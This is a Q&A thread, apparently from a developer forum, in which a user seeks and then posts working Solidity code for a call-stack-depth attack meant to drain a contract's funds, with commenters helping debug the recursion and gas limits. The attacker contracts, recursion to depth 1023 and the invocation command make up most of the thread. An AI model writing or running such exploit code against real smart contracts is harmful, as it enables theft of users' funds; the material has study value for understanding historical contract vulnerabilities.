4

Victim contract allows one time withdraw only. I want to attack it using stack depth attack to withdraw everything it has. I've tried different things, but can't get the desired result. Here's where I'm stuck:

My actions:

  • Attacker.setVictimAddress(victimAddress);
  • Attacker.reachStackDepth(0);

contract Attacker {
    address victimAddress;
    function attack(){
        victimAddress.call.value(1 ether)(bytes4(sha3('bid()')), this);
    }
    function reachStackDepth(uint x){
        if(x == 1023) {
            attack();
        }
        Attacker(this).reachStackDepth(x++);
    }
    function setVictimAddress(address _victimAddress){
        victimAddress = _victimAddress;
    }
}

contract Victim {
   address highestBidder;
   uint highestBid;
   function bid() {
      if (msg.value < highestBid) throw;
      if (highestBidder != 0)
      highestBidder.send(highestBid); // refund previous bidder
      highestBidder = msg.sender;
      highestBid = msg.value;
   }     
}

Here's VM trace and all that https://testnet.etherscan.io/vmtrace?txhash=0x285acada3e003173d6e90855ebb44872b3065037b323d5858f6c12c160a98eb5

2 Answers 2

3

Instead of Attacker(this).reachStackDepth(x++);, shouldn't you do Attacker(this).reachStackDepth(++x);? Or do x++; before you call reachStackDepth().

6
  • oh, yeah, that's right, missed this. However, it doesn't work after the change. I get only 117 internal transactions and it stops there for some reason. testnet.etherscan.io/address/…
    – manidos
    Aug 22, 2016 at 16:32
  • ,I think the problem might be in that the recursive call is still going after x == 1023
    – manidos
    Aug 22, 2016 at 16:56
  • 1
    Each recursive call consumes 25,350 gas. So, very roughly, with 3,000,000 gas to start with you can only go so far as 118 deep. You need to find a way to reduce this cost. How about replacing Attacker(this).reachStackDepth(++x); with reachStackDepth(++x);. Other tricks, would a bitwise x & 512 help? Also, you could make one function for the first 512 calls, another for the next 256 calls and so on, so you only then check on the next bit. Otherwise, but I cannot help, assembly... Aug 22, 2016 at 17:03
  • just learned that calling without this is exhausting the EVM stack, not the call stack.
    – manidos
    Aug 24, 2016 at 16:21
  • 1
    I get it from here reddit.com/r/ethereum/comments/4z7y4l/…
    – manidos
    Aug 25, 2016 at 2:20
3

Whew, I've figured it out. I couldn't make stack depth attack work with call though. I used delegatecall instead. Here's an example that shows how it works.

contract Attacker {
    Victim public victimContract;
    uint x;

    function Attacker(){
        victimContract = (new Victim).value(10 wei)();
    }

    function attack(uint y) {
        if (y > x) {
            this.delegatecall(bytes4(sha3('attack(uint256)')), --y);
        }
        else {
            victimContract.donate.value(1)(this, 1);
        }
    }
}

contract Victim {
    mapping(address => uint) karma;
    function donate(address someAddress, uint amount){
        if(msg.value == amount) {
            someAddress.send(amount);
            karma[msg.sender] += amount;
        }            
    }
}

Here's how it works(from JS side):

  • Attacker.attack(1023, {gas:700000, value: 1});

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.